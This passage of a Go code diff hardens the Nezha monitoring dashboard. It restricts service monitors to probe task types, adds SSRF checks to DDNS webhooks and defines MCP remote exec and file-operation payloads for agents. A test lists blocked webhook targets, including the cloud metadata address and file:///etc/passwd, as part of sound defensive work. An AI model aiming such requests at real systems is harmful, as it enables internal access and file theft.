passive service probe. Service +// monitors and privileged Agent-control tasks share the protobuf Task.Type +// namespace, so every path that persists, schedules, or dispatches a Service +// must use this allowlist instead of accepting an arbitrary task integer. +func IsServiceMonitorType(t uint64) bool { + switch t { + case TaskTypeHTTPGet, TaskTypeICMPPing, TaskTypeTCPPing: + return true + default: + return false + } +} + +// ValidateServiceMonitorType returns an actionable error at API, model, and +// scheduler boundaries. Keeping the check in model avoids a future caller +// accidentally turning a monitor-only capability into Agent command/config +// execution by copying Service.Type into pb.Task.Type. +func ValidateServiceMonitorType(t uint64) error { + if !IsServiceMonitorType(t) { + return fmt.Errorf("invalid service monitor type %d: allowed types are 1 (HTTP GET), 2 (ICMP ping), and 3 (TCP ping)", t) + } + return nil +} + +// IsMCPRPCResult 判定一个 TaskResult.Type 是否属于 MCP 走 RequestTask 通道的 +// 一次性 RPC 类型。dashboard 的 RequestTask 接收循环用它把这些回包路由到 +// Server.inflightRPC 等待方，而不是走 ServiceSentinel。 +// +// TaskTypeFsTransfer 走 IOStream 而不是 RequestTask 回包，故不在此列；agent +// 不会对它发 TaskResult。 +func IsMCPRPCResult(t uint64) bool { + switch t { + case TaskTypeExec, TaskTypeFsList, TaskTypeFsRead, TaskTypeFsWrite, TaskTypeFsDelete: + return true + } + return false +} + +// ExecRequest 是 server.exec 通过 Task.Data 下发到 agent 的载荷（JSON）。 +type ExecRequest struct { + Cmd string `json:"cmd"` + Args []string `json:"args,omitempty"` + Cwd string `json:"cwd,omitempty"` + Env map[string]string `json:"env,omitempty"` + TimeoutSeconds uint32 `json:"timeout_seconds,omitempty"` + Stdin string `json:"stdin,omitempty"` + MaxOutputBytes uint32 `json:"max_output_bytes,omitempty"` +} + +// ExecResult 是 agent 通过 TaskResult.Data 回传的执行结果（JSON）。 +type ExecResult struct { + ExitCode int `json:"exit_code"` + Stdout string `json:"stdout"` + Stderr string `json:"stderr"` + DurationMs int64 `json:"duration_ms"` + StdoutTruncated bool `json:"stdout_truncated,omitempty"` + StderrTruncated bool `json:"stderr_truncated,omitempty"` + TimedOut bool `json:"timed_out,omitempty"` + Error string `json:"error,omitempty"` +} + +// FsListRequest fs.list 下发载荷。 +type FsListRequest struct { + Path string `json:"path"` + ShowHidden bool `json:"show_hidden,omitempty"` +} + +// FsEntry 单条目录元数据。 +type FsEntry struct { + Name string `json:"name"` + Type string `json:"type"` + Size int64 `json:"size"` + Mode string `json:"mode"` + ModTimeUnix int64 `json:"mtime"` + IsSymlink bool `json:"is_symlink,omitempty"` + LinkTarget string `json:"link_target,omitempty"` +} + +// FsListResult fs.list 回包。 +type FsListResult struct { + Entries []FsEntry `json:"entries"` + Truncated bool `json:"truncated,omitempty"` + Total int `json:"total,omitempty"` + Error string `json:"error,omitempty"` +} + +// FsReadRequest fs.read 下发载荷。Offset/Length 单位为字节；encoding 控制返回。 +type FsReadRequest struct { + Path string `json:"path"` + Offset int64 `json:"offset,omitempty"` + Length int64 `json:"length,omitempty"` + Encoding string `json:"encoding,omitempty"` +} + +// FsReadResult fs.read 回包。Content 按 encoding 编码（utf8 原文 / base64 二进制安全）。 +type FsReadResult struct { + Content string `json:"content"` + Encoding string `json:"encoding"` + Size int64 `json:"size"` + SHA256 string `json:"sha256,omitempty"` + Truncated bool `json:"truncated,omitempty"` + Error string `json:"error,omitempty"` +} + +// FsWriteRequest fs.write 下发载荷。Mode 用 unix 数字字符串如 "0644"。 +type FsWriteRequest struct { + Path string `json:"path"` + Content string `json:"content"` + Encoding string `json:"encoding,omitempty"` + Mode string `json:"mode,omitempty"` + IfMatchSHA256 string `json:"if_match_sha256,omitempty"` + CreateDirs bool `json:"create_dirs,omitempty"` +} + +// FsWriteResult fs.write 回包。 +type FsWriteResult struct { + Size int64 `json:"size"` + SHA256 string `json:"sha256"` + Error string `json:"error,omitempty"` +} + +// FsDeleteRequest fs.delete 下发载荷。 +type FsDeleteRequest struct { + Path string `json:"path"` + Recursive bool `json:"recursive,omitempty"` +} + +// FsDeleteResult fs.delete 回包。 +type FsDeleteResult struct { + DeletedCount int `json:"deleted_count"` + Error string `json:"error,omitempty"` +} + +const ( + // MCPFsTransferOpUpload / Download 区分 IOStream 内的数据流向。 + MCPFsTransferOpUpload = "upload" + MCPFsTransferOpDownload = "download" + + // MCPFsTransferMaxSize 单次传输硬上限，dashboard 和 agent 双方都拒绝 + // 超出大小的请求。设为 100MiB 与产品语义"~100MB 大文件"对齐。 + MCPFsTransferMaxSize = 100 * 1024 * 1024 +) + +// FsTransferRequest 通过 Task.Data 下发到 agent；agent 据此打开本地 +// IOStream，按 op 完成上/下行。streamId 用于 agent IOStream 引导帧。 +type FsTransferRequest struct { + StreamID string `json:"stream_id"` + Op string `json:"op"` + Path string `json:"path"` + Size int64 `json:"size,omitempty"` + Mode string `json:"mode,omitempty"` + CreateDirs bool `json:"create_dirs,omitempty"` + IfMatchSHA256 string `json:"if_match_sha256,omitempty"` + ExpectedSHA256 string `json:"expected_sha256,omitempty"` +} + +// 双向 IOStream 控制帧 magic（每帧第一帧的前 4 字节）。数据帧不带 magic。 +// +// 这套 magic 与 FM 协议（NZTD/NZFN/NERR/NZUP）共存而不冲突：NZTD 在 FM 表示 +// "file header"，在 transfer 表示"download header"，但两条协议通过不同的 +// task type（TaskTypeFM vs TaskTypeFsTransfer）分流，不会复用同一个 agent +// goroutine，所以 magic 撞名只是字面巧合，不会破坏解析。 +var ( + MCPFsXferMagicUploadHdr = []byte{0x4E, 0x5A, 0x54, 0x55} // NZTU + MCPFsXferMagicDownloadHdr = []byte{0x4E, 0x5A, 0x54, 0x44} // NZTD + MCPFsXferMagicOK = []byte{0x4E, 0x5A, 0x54, 0x4F} // NZTO + MCPFsXferMagicErr = []byte{0x4E, 0x5A, 0x54, 0x45} // NZTE + MCPFsXferMagicChunk = []byte{0x4E, 0x5A, 0x54, 0x43} // NZTC: download data chunk ) type TerminalTask struct { @@ -59,7 +240,7 @@ type Service struct { Cover uint8 `json:"cover"` EnableTriggerTask bool `gorm:"default: false" json:"enable_trigger_task,omitempty"` - EnableShowInService bool `gorm:"default: false" json:"enable_show_in_service,omitempty"` + HideForGuest bool `json:"hide_for_guest,omitempty"` // 对游客隐藏 FailTriggerTasksRaw string `gorm:"default:'[]'" json:"-"` RecoverTriggerTasksRaw string `gorm:"default:'[]'" json:"-"` @@ -75,6 +256,9 @@ type Service struct { } func (m *Service) PB() *pb.Task { + if m == nil || !IsServiceMonitorType(uint64(m.Type)) { + return nil + } return &pb.Task{ Id: m.ID, Type: uint64(m.Type), @@ -82,6 +266,57 @@ func (m *Service) PB() *pb.Task { } } +// HasPermission 扩展默认的 owner/admin 检查，让 PAT 的 server_ids 白名单 +// 同样能收窄 service monitor 的列出/删除/更新路径，语义与 Cron.HasPermission +// 对齐： +// - ServiceCoverAll：SkipServers 是 deny-set。DispatchTask 会探测 owner 在 +// deny-set 之外的所有 server，所以受限 PAT 必须保证 deny-set 已经覆盖 +// 白名单外的全部 owner servers。判定与 controller 的 +// enforcePATServiceDispatchScope / rejectImplicitServiceCoverForLimitedPAT +// 共用 denyListSafeForLimitedPAT。 +// - ServiceCoverIgnoreAll：SkipServers 是 allow-set，要求每个被覆盖的 +// server 都在 PAT 白名单内。 +// - 其它情况保留旧的“PAT 按 owner 关系判定”行为。 +func (m *Service) HasPermission(ctx *gin.Context) bool { + if !m.Common.HasPermission(ctx) { + return false + } + v, ok := ctx.Get(CtxKeyAPIToken) + if !ok { + return true + } + tok, _ := v.(APITokenAccessor) + if tok == nil { + return true + } + switch m.Cover { + case ServiceCoverAll: + return DenyListSafeForLimitedPAT(tok, m.GetUserID(), skipServersTrueIDs(m.SkipServers)) + case ServiceCoverIgnoreAll: + for _, id := range skipServersTrueIDs(m.SkipServers) { + if !tok.CanAccessServer(id) { + return false + } + } + return true + default: + return true + } +} + +func skipServersTrueIDs(skip map[uint64]bool) []uint64 { + if len(skip) == 0 { + return nil + } + out := make([]uint64, 0, len(skip)) + for id, mark := range skip { + if mark { + out = append(out, id) + } + } + return out +} + // CronSpec 返回服务监控请求间隔对应的 cron 表达式 func (m *Service) CronSpec() string { if m.Duration == 0 { @@ -92,6 +327,9 @@ func (m *Service) CronSpec() string { } func (m *Service) BeforeSave(tx *gorm.DB) error { + if err := ValidateServiceMonitorType(uint64(m.Type)); err != nil { + return err + } if data, err := json.Marshal(m.SkipServers); err != nil { return err } else { @@ -128,14 +366,9 @@ func (m *Service) AfterFind(tx *gorm.DB) error { return nil } -// IsServiceSentinelNeeded 判断该任务类型是否需要进行服务监控 需要则返回true +// IsServiceSentinelNeeded accepts results only for the three probe types. An +// unknown or privileged task type must never enter ServiceSentinel merely +// because it was not listed in a denylist. func IsServiceSentinelNeeded(t uint64) bool { - switch t { - case TaskTypeCommand, TaskTypeTerminalGRPC, TaskTypeUpgrade, - TaskTypeKeepalive, TaskTypeNAT, TaskTypeFM, - TaskTypeReportConfig, TaskTypeApplyConfig: - return false - default: - return true - } + return IsServiceMonitorType(t) } diff --git a/model/service_api.go b/model/service_api.go index b314fc12..354b761a 100644 --- a/model/service_api.go +++ b/model/service_api.go @@ -14,7 +14,7 @@ type ServiceForm struct { MaxLatency float32 `json:"max_latency,omitempty" default:"0.0"` LatencyNotify bool `json:"latency_notify,omitempty" validate:"optional"` EnableTriggerTask bool `json:"enable_trigger_task,omitempty" validate:"optional"` - EnableShowInService bool `json:"enable_show_in_service,omitempty" validate:"optional"` + HideForGuest bool `json:"hide_for_guest,omitempty" validate:"optional"` FailTriggerTasks []uint64 `json:"fail_trigger_tasks,omitempty"` RecoverTriggerTasks []uint64 `json:"recover_trigger_tasks,omitempty"` SkipServers map[uint64]bool `json:"skip_servers,omitempty"` diff --git a/model/service_ignoreall_false_test.go b/model/service_ignoreall_false_test.go new file mode 100644 index 00000000..07fc8087 --- /dev/null +++ b/model/service_ignoreall_false_test.go @@ -0,0 +1,51 @@ +package model + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" +) + +func adminPATCtx(tok *APIToken) *gin.Context { + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(httptest.NewRecorder()) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 1}, Role: RoleAdmin}) + c.Set(CtxKeyAPIToken, tok) + return c +} + +// ServiceCoverIgnoreAll permission must only consider SkipServers entries +// whose value is true (the allow-set actually dispatched at runtime). A +// `{2: false}` entry has no dispatch effect, so a PAT scoped to {1} must +// still be allowed to manage this service. +func TestServiceHasPermissionIgnoreAllSkipsFalseEntries(t *testing.T) { + tok := &APIToken{ID: 1, UserID: 1} + tok.SetServerIDs([]uint64{1}) + + svc := &Service{ + Common: Common{ID: 10, UserID: 1}, + Cover: ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true, 2: false}, + } + + if !svc.HasPermission(adminPATCtx(tok)) { + t.Fatal("a `{2: false}` allow-set entry must not block a PAT scoped to {1}") + } +} + +func TestServiceHasPermissionIgnoreAllRejectsForeignTrueEntry(t *testing.T) { + tok := &APIToken{ID: 1, UserID: 1} + tok.SetServerIDs([]uint64{1}) + + svc := &Service{ + Common: Common{ID: 10, UserID: 1}, + Cover: ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{2: true}, + } + + if svc.HasPermission(adminPATCtx(tok)) { + t.Fatal("a true allow-set entry on server 2 must reject a PAT scoped to {1}") + } +} diff --git a/model/service_type_security_test.go b/model/service_type_security_test.go new file mode 100644 index 00000000..d248bb74 --- /dev/null +++ b/model/service_type_security_test.go @@ -0,0 +1,45 @@ +package model + +import ( + "testing" + + "github.com/stretchr/testify/require" +) + +func TestServiceMonitorTypeAllowlist(t *testing.T) { + for _, taskType := range []uint64{TaskTypeHTTPGet, TaskTypeICMPPing, TaskTypeTCPPing} { + require.True(t, IsServiceMonitorType(taskType), "probe type %d must remain allowed", taskType) + require.NoError(t, ValidateServiceMonitorType(taskType)) + require.True(t, IsServiceSentinelNeeded(taskType)) + } + + for _, taskType := range []uint64{ + 0, + TaskTypeCommand, + TaskTypeApplyConfig, + TaskTypeServerTransferApply, + TaskTypeExec, + TaskTypeFsTransfer, + 255, + } { + require.False(t, IsServiceMonitorType(taskType), "privileged/unknown type %d must be rejected", taskType) + require.Error(t, ValidateServiceMonitorType(taskType)) + require.False(t, IsServiceSentinelNeeded(taskType)) + } +} + +func TestServicePersistenceAndPBRejectPrivilegedTaskTypes(t *testing.T) { + for _, taskType := range []uint8{0, TaskTypeCommand, TaskTypeApplyConfig, TaskTypeExec, 255} { + service := &Service{Type: taskType} + require.Error(t, service.BeforeSave(nil), "type %d must not be persisted", taskType) + require.Nil(t, service.PB(), "type %d must not become an Agent task", taskType) + } + + service := &Service{Common: Common{ID: 7}, Type: TaskTypeTCPPing, Target: "example.invalid:443"} + require.NoError(t, service.BeforeSave(nil)) + task := service.PB() + require.NotNil(t, task) + require.Equal(t, uint64(7), task.GetId()) + require.Equal(t, uint64(TaskTypeTCPPing), task.GetType()) + require.Equal(t, service.Target, task.GetData()) +} diff --git a/model/setting_api.go b/model/setting_api.go index bc00e176..84853b1f 100644 --- a/model/setting_api.go +++ b/model/setting_api.go @@ -8,6 +8,8 @@ type SettingForm struct { SiteName string `json:"site_name,omitempty" minLength:"1"` Language string `json:"language,omitempty" minLength:"2"` InstallHost string `json:"install_host,omitempty" validate:"optional"` + DashboardHost string `json:"dashboard_host,omitempty" validate:"optional"` + ReservedHosts string `json:"reserved_hosts,omitempty" validate:"optional"` CustomCode string `json:"custom_code,omitempty" validate:"optional"` CustomCodeDashboard string `json:"custom_code_dashboard,omitempty" validate:"optional"` WebRealIPHeader string `json:"web_real_ip_header,omitempty" validate:"optional"` // 前端真实IP @@ -19,19 +21,21 @@ type SettingForm struct { BackgroundImageDay string `json:"background_image_day,omitempty" validate:"optional"` BackgroundImageNight string `json:"background_image_night,omitempty" validate:"optional"` - AgentTLS bool `json:"tls,omitempty" validate:"optional"` - EnableIPChangeNotification bool `json:"enable_ip_change_notification,omitempty" validate:"optional"` - EnablePlainIPInNotification bool `json:"enable_plain_ip_in_notification,omitempty" validate:"optional"` - ExpiryNotificationGroupID uint64 `json:"expiry_notification_group_id,omitempty"` - TelegramBotToken string `json:"telegram_bot_token,omitempty" validate:"optional"` - TelegramAdminChatID string `json:"telegram_admin_chat_id,omitempty" validate:"optional"` + AgentTLS bool `json:"tls,omitempty" validate:"optional"` + EnableIPChangeNotification bool `json:"enable_ip_change_notification,omitempty" validate:"optional"` + EnablePlainIPInNotification bool `json:"enable_plain_ip_in_notification,omitempty" validate:"optional"` + EnableMCP *bool `json:"enable_mcp,omitempty" validate:"optional"` + ExpiryNotificationGroupID uint64 `json:"expiry_notification_group_id,omitempty"` + TelegramBotToken string `json:"telegram_bot_token,omitempty" validate:"optional"` + TelegramAdminChatID string `json:"telegram_admin_chat_id,omitempty" validate:"optional"` - SMTPServer string `json:"smtp_server,omitempty" validate:"optional"` - SMTPUser string `json:"smtp_user,omitempty" validate:"optional"` - SMTPPassword string `json:"smtp_password,omitempty" validate:"optional"` - AdminEmail string `json:"admin_email,omitempty" validate:"optional"` + SMTPServer string `json:"smtp_server,omitempty" validate:"optional"` + SMTPUser string `json:"smtp_user,omitempty" validate:"optional"` + SMTPPassword string `json:"smtp_password,omitempty" validate:"optional"` + AdminEmail string `json:"admin_email,omitempty" validate:"optional"` DomainExpiryNotificationDays string `json:"domain_expiry_notification_days,omitempty" validate:"optional"` ServerExpiryNotificationDays string `json:"server_expiry_notification_days,omitempty" validate:"optional"` + } type Setting struct { diff --git a/model/user.go b/model/user.go index 2c40563b..812bf593 100644 --- a/model/user.go +++ b/model/user.go @@ -24,14 +24,16 @@ const DefaultAgentSecretLength = 32 type User struct { Common Username string `json:"username,omitempty" gorm:"uniqueIndex"` - Password string `json:"password,omitempty" gorm:"type:char(72)"` - Role Role `json:"role,omitempty"` + Password string `json:"-" gorm:"type:char(72)"` + Role Role `json:"role"` AgentSecret string `json:"agent_secret,omitempty" gorm:"type:char(32)"` RejectPassword bool `json:"reject_password,omitempty"` + TokenVersion uint64 `json:"-" gorm:"not null;default:0"` } type UserInfo struct { Role Role + Username string AgentSecret string } diff --git a/model/user_role_json_test.go b/model/user_role_json_test.go new file mode 100644 index 00000000..5ef1fcf3 --- /dev/null +++ b/model/user_role_json_test.go @@ -0,0 +1,32 @@ +package model + +import ( + "encoding/json" + "testing" +) + +// RoleAdmin is the zero value (0). The Role field must NOT use json:",omitempty" +// or an admin profile would serialize without a `role` key, and the frontend +// (which gates the admin menu on `role === 0`) would treat the admin as a +// regular user. Guard against a regression that drops the field for admins. +func TestUserRoleSerializedForAdmin(t *testing.T) { + u := User{Common: Common{ID: 1}, Username: "admin", Role: RoleAdmin} + + b, err := json.Marshal(u) + if err != nil { + t.Fatalf("marshal user: %v", err) + } + + var decoded map[string]json.RawMessage + if err := json.Unmarshal(b, &decoded); err != nil { + t.Fatalf("unmarshal user: %v", err) + } + + raw, ok := decoded["role"] + if !ok { + t.Fatalf("admin user JSON must include the `role` field, got: %s", b) + } + if string(raw) != "0" { + t.Fatalf("admin user `role` must serialize as 0, got: %s", raw) + } +} diff --git a/pkg/agentcompatcontract/header.go b/pkg/agentcompatcontract/header.go new file mode 100644 index 00000000..26a4e846 --- /dev/null +++ b/pkg/agentcompatcontract/header.go @@ -0,0 +1,3 @@ +package agentcompatcontract + +const IOStreamCapabilityHeader = "X-Nezha-AgentCompat-IOStream-Capability" diff --git a/pkg/agentcompatcontract/header_test.go b/pkg/agentcompatcontract/header_test.go new file mode 100644 index 00000000..21db83e7 --- /dev/null +++ b/pkg/agentcompatcontract/header_test.go @@ -0,0 +1,9 @@ +package agentcompatcontract + +import "testing" + +func TestIOStreamCapabilityHeaderUsesFrozenName(t *testing.T) { + if IOStreamCapabilityHeader != "X-Nezha-AgentCompat-IOStream-Capability" { + t.Fatalf("unexpected capability header name") + } +} diff --git a/pkg/ddns/ddns.go b/pkg/ddns/ddns.go index 1dc5c2e0..7759df54 100644 --- a/pkg/ddns/ddns.go +++ b/pkg/ddns/ddns.go @@ -54,16 +54,25 @@ func (provider *Provider) updateDomain(ctx context.Context, domain string) error return err } - // 当IPv4和IPv6同时成功才算作成功 + // 独立处理 IPv4 更新 if *provider.DDNSProfile.EnableIPv4 { - if err = provider.addDomainRecord(ctx, "A", provider.IPAddrs.IPv4Addr); err != nil { - return err + if provider.IPAddrs.IPv4Addr == "" { + log.Printf("NEZHA>> Skip IPv4 update for domain %s: IPv4 address is empty", domain) + } else { + if err = provider.addDomainRecord(ctx, "A", provider.IPAddrs.IPv4Addr); err != nil { + return err + } } } + // 独立处理 IPv6 更新 if *provider.DDNSProfile.EnableIPv6 { - if err = provider.addDomainRecord(ctx, "AAAA", provider.IPAddrs.IPv6Addr); err != nil { - return err + if provider.IPAddrs.IPv6Addr == "" { + log.Printf("NEZHA>> Skip IPv6 update for domain %s: IPv6 address is empty", domain) + } else { + if err = provider.addDomainRecord(ctx, "AAAA", provider.IPAddrs.IPv6Addr); err != nil { + return err + } } } diff --git a/pkg/ddns/webhook/webhook.go b/pkg/ddns/webhook/webhook.go index 480df4c3..61e0fbe2 100644 --- a/pkg/ddns/webhook/webhook.go +++ b/pkg/ddns/webhook/webhook.go @@ -4,6 +4,7 @@ import ( "context" "errors" "fmt" + "io" "net/http" "net/url" "strings" @@ -57,13 +58,19 @@ func (provider *Provider) SetRecords(ctx context.Context, zone string, provider.ipAddr = rr.Data provider.domain = fmt.Sprintf("%s.%s", rr.Name, strings.TrimSuffix(zone, ".")) - req, err := provider.prepareRequest(ctx) + // WebhookURL is attacker-controlled (GHSA-6x26-5727-rrm9); the request and + // the client are paired so URL validation and DialContext pinning are driven + // by a single DNS resolution. Do not swap the client for utils.HttpClient. + req, client, err := provider.prepareRequest(ctx) if err != nil { return nil, fmt.Errorf("failed to update a domain: %s. Cause by: %v", provider.domain, err) } - if _, err := utils.HttpClient.Do(req); err != nil { + resp, err := client.Do(req) + if err != nil { return nil, fmt.Errorf("failed to update a domain: %s. Cause by: %v", provider.domain, err) } + _, _ = io.Copy(io.Discard, resp.Body) + resp.Body.Close() default: return nil, fmt.Errorf("unsupported record type: %T", rec) } @@ -72,26 +79,32 @@ func (provider *Provider) SetRecords(ctx context.Context, zone string, return recs, nil } -func (provider *Provider) prepareRequest(ctx context.Context) (*http.Request, error) { +func (provider *Provider) prepareRequest(ctx context.Context) (*http.Request, *http.Client, error) { u, err := provider.reqUrl() if err != nil { - return nil, err + return nil, nil, err + } + // Single SSRF check + dial pin; the returned client must be used by callers + // so the dialer's pinned IP and the validated URL stay in sync. + client, err := utils.NewRestrictedHTTPClient(u.String(), false) + if err != nil { + return nil, nil, err } body, err := provider.reqBody() if err != nil { - return nil, err + return nil, nil, err } headers, err := utils.GjsonIter( provider.formatWebhookString(provider.DDNSProfile.WebhookHeaders)) if err != nil { - return nil, err + return nil, nil, err } req, err := http.NewRequestWithContext(ctx, requestTypes[provider.DDNSProfile.WebhookMethod], u.String(), strings.NewReader(body)) if err != nil { - return nil, err + return nil, nil, err } provider.setContentType(req) @@ -100,7 +113,7 @@ func (provider *Provider) prepareRequest(ctx context.Context) (*http.Request, er req.Header.Set(k, v) } - return req, nil + return req, client, nil } func (provider *Provider) setContentType(req *http.Request) { diff --git a/pkg/ddns/webhook/webhook_test.go b/pkg/ddns/webhook/webhook_test.go index 028a245c..8bbe9b3e 100644 --- a/pkg/ddns/webhook/webhook_test.go +++ b/pkg/ddns/webhook/webhook_test.go @@ -2,6 +2,7 @@ package webhook import ( "context" + "strings" "testing" "github.com/nezhahq/nezha/model" @@ -44,7 +45,7 @@ func execCase(t *testing.T, item testSt) { t.Fatalf("Expected %s, but got %s", item.expectBody, reqBody) } - req, err := pw.prepareRequest(context.Background()) + req, _, err := pw.prepareRequest(context.Background()) if err != nil { t.Fatalf("Error: %s", err) } @@ -69,11 +70,11 @@ func TestWebhookRequest(t *testing.T) { Domains: []string{"www.example.com"}, MaxRetries: 1, EnableIPv4: &ipv4, - WebhookURL: "http://ddns.example.com/?ip=#ip#", + WebhookURL: "http://1.1.1.1/?ip=#ip#", WebhookMethod: methodGET, WebhookHeaders: `{"ip":"#ip#","record":"#record#"}`, }, - expectURL: "http://ddns.example.com/?ip=1.1.1.1", + expectURL: "http://1.1.1.1/?ip=1.1.1.1", expectContentType: "", expectHeader: map[string]string{ "ip": "1.1.1.1", @@ -85,12 +86,12 @@ func TestWebhookRequest(t *testing.T) { Domains: []string{"www.example.com"}, MaxRetries: 1, EnableIPv4: &ipv4, - WebhookURL: "http://ddns.example.com/api", + WebhookURL: "http://1.1.1.1/api", WebhookMethod: methodPOST, WebhookRequestType: requestTypeJSON, WebhookRequestBody: `{"ip":"#ip#","record":"#record#"}`, }, - expectURL: "http://ddns.example.com/api", + expectURL: "http://1.1.1.1/api", expectContentType: reqTypeJSON, expectBody: `{"ip":"1.1.1.1","record":"A"}`, }, @@ -99,12 +100,12 @@ func TestWebhookRequest(t *testing.T) { Domains: []string{"www.example.com"}, MaxRetries: 1, EnableIPv4: &ipv4, - WebhookURL: "http://ddns.example.com/api", + WebhookURL: "http://1.1.1.1/api", WebhookMethod: methodPOST, WebhookRequestType: requestTypeForm, WebhookRequestBody: `{"ip":"#ip#","record":"#record#"}`, }, - expectURL: "http://ddns.example.com/api", + expectURL: "http://1.1.1.1/api", expectContentType: reqTypeForm, expectBody: "ip=1.1.1.1&record=A", }, @@ -114,3 +115,58 @@ func TestWebhookRequest(t *testing.T) { execCase(t, c) } } + +func TestWebhookTargetRejectsBlockedRanges(t *testing.T) { + cases := []string{ + "http://0.0.0.0/", + "http://10.1.2.3/", + "http://100.64.0.1/", + "http://127.0.0.1/", + "http://127.255.255.254/", + "http://169.254.169.254/", + "http://172.16.0.1/", + "http://192.0.0.1/", + "http://192.0.2.1/", + "http://192.168.1.1/", + "http://198.18.0.1/", + "http://198.51.100.1/", + "http://203.0.113.1/", + "http://224.0.0.1/", + "http://240.0.0.1/", + "http://[::]/", + "http://[::1]/", + "http://[::ffff:127.0.0.1]/", + "http://[64:ff9b::1]/", + "http://[100::1]/", + "http://[2001:db8::1]/", + "http://[fc00::1]/", + "http://[fe80::1]/", + "http://[ff00::1]/", + "ftp://example.com/", + "file:///etc/passwd", + "http:///path", + } + + for _, rawURL := range cases { + t.Run(rawURL, func(t *testing.T) { + provider := Provider{DDNSProfile: &model.DDNSProfile{ + Domains: []string{"www.example.com"}, + WebhookURL: rawURL, + WebhookMethod: methodGET, + WebhookHeaders: `{}`, + }} + provider.ipAddr = "1.1.1.1" + provider.domain = provider.DDNSProfile.Domains[0] + provider.ipType = "ipv4" + provider.recordType = "A" + + _, _, err := provider.prepareRequest(context.Background()) + if err == nil { + t.Fatalf("expected %s to be rejected", rawURL) + } + if !strings.Contains(err.Error(), "not allowed") { + t.Fatalf("expected not allowed error, got %q", err.Error()) + } + }) + } +} diff --git a/pkg/grpcx/io_stream_wrapper.go b/pkg/grpcx/io_stream_wrapper.go index 44dce596..c58174d5 100644 --- a/pkg/grpcx/io_stream_wrapper.go +++ b/pkg/grpcx/io_stream_wrapper.go @@ -3,6 +3,7 @@ package grpcx import ( "context" "io" + "sync" "sync/atomic" "github.com/nezhahq/nezha/proto" @@ -16,8 +17,15 @@ type IOStream interface { Context() context.Context } +// IOStreamWrapper adapts a gRPC IOStream into an io.ReadWriteCloser and +// serializes every Send on the underlying stream. grpc-go forbids concurrent +// SendMsg on the same stream (Documentation/concurrency.md); the dashboard +// runs an IOStream keepalive goroutine alongside MCP fs.transfer / terminal / +// fm Writers, so all of them must funnel through this sendMu. The matching +// agent-side fix is serialIOStreamSender in agent/cmd/agent/mcp_fs_transfer.go. type IOStreamWrapper struct { IOStream + sendMu sync.Mutex dataBuf []byte closed *atomic.Bool closeCh chan struct{} @@ -31,21 +39,77 @@ func NewIOStreamWrapper(stream IOStream) *IOStreamWrapper { } } +// Send writes a single IOStreamData frame under the wrapper's send mutex. +// All goroutines that share this wrapper — keepalive ticker, Write callers, +// and any direct frame writer — MUST go through Send (or SendKeepalive) +// rather than touching the embedded IOStream.Send, otherwise grpc-go's +// concurrent-SendMsg invariant is violated and frames can corrupt or panic. +func (iw *IOStreamWrapper) Send(data *proto.IOStreamData) error { + iw.sendMu.Lock() + defer iw.sendMu.Unlock() + return iw.IOStream.Send(data) +} + +// SendKeepalive sends the dashboard's empty-payload heartbeat through the +// same sendMu as Send/Write so it cannot race the data path. +func (iw *IOStreamWrapper) SendKeepalive() error { + return iw.Send(&proto.IOStreamData{Data: []byte{}}) +} + +// RecvFrame returns the next non-empty IOStream frame as a single contiguous +// byte slice, preserving frame boundaries. Use this when a caller multiplexes +// control frames (magic + payload) and data frames over the same stream and +// must not let one frame's bytes spill into the next frame's parsing. +// +// The io.Reader path (Read) intentionally hides frame boundaries; callers that +// need them — e.g. MCP fs.transfer download where NZTE may interrupt NZTD +// payload mid-stream — call RecvFrame instead. +func (iw *IOStreamWrapper) RecvFrame() ([]byte, error) { + if len(iw.dataBuf) > 0 { + out := iw.dataBuf + iw.dataBuf = nil + return out, nil + } + for { + data, err := iw.Recv() + if err != nil { + return nil, err + } + if len(data.Data) == 0 { + continue + } + return data.Data, nil + } +} + func (iw *IOStreamWrapper) Read(p []byte) (n int, err error) { if len(iw.dataBuf) > 0 { n := copy(p, iw.dataBuf) iw.dataBuf = iw.dataBuf[n:] return n, nil } - var data *proto.IOStreamData - if data, err = iw.Recv(); err != nil { - return 0, err + // Skip zero-length heartbeat frames sent by ioStreamKeepAlive (see + // agent/cmd/agent/main.go ioStreamKeepAlive). protobuf treats an empty + // `bytes` field as a default value but still ships a valid Message, so + // Recv() returns a non-nil *IOStreamData whose Data is empty. Surfacing + // that as (0, nil) is legal io.Reader behaviour but every caller in the + // repo treats a 0-byte read as an unexpected control frame (e.g. + // mcp_transfer.readXferFixedHeader returns "frame too short"). Loop here + // until we get either real bytes or an error. + for { + var data *proto.IOStreamData + if data, err = iw.Recv(); err != nil { + return 0, err + } + if len(data.Data) == 0 { + continue + } + n = copy(p, data.Data) + if n < len(data.Data) { + iw.dataBuf = data.Data[n:] + } + return n, nil } - n = copy(p, data.Data) - if n < len(data.Data) { - iw.dataBuf = data.Data[n:] - } - return n, nil } func (iw *IOStreamWrapper) Write(p []byte) (n int, err error) { @@ -56,6 +120,9 @@ func (iw *IOStreamWrapper) Write(p []byte) (n int, err error) { func (iw *IOStreamWrapper) Close() error { if iw.closed.CompareAndSwap(false, true) { close(iw.closeCh) + if closer, ok := iw.IOStream.(interface{ Close() error }); ok { + return closer.Close() + } } return nil } @@ -63,3 +130,12 @@ func (iw *IOStreamWrapper) Close() error { func (iw *IOStreamWrapper) Wait() { <-iw.closeCh } + +// Done exposes the wrapper's close signal as a read-only channel so callers +// that run alongside the wrapper (e.g. the dashboard's IOStream keepalive +// goroutine) can cancel cooperatively. Without this they would only stop on +// gRPC stream-context cancel or on their next failed Send, which can leave +// a goroutine waiting up to one keepalive tick after the wrapper was closed. +func (iw *IOStreamWrapper) Done() <-chan struct{} { + return iw.closeCh +} diff --git a/pkg/grpcx/io_stream_wrapper_concurrent_send_test.go b/pkg/grpcx/io_stream_wrapper_concurrent_send_test.go new file mode 100644 index 00000000..6e07659c --- /dev/null +++ b/pkg/grpcx/io_stream_wrapper_concurrent_send_test.go @@ -0,0 +1,71 @@ +package grpcx + +import ( + "context" + "sync" + "sync/atomic" + "testing" + + "github.com/nezhahq/nezha/proto" +) + +// sendObservingStream records the maximum number of goroutines that are +// inside Send at the same time. grpc-go's real server stream is NOT safe +// under concurrent Send, but this fake never blocks so any concurrent +// dispatch from the wrapper would surface here as 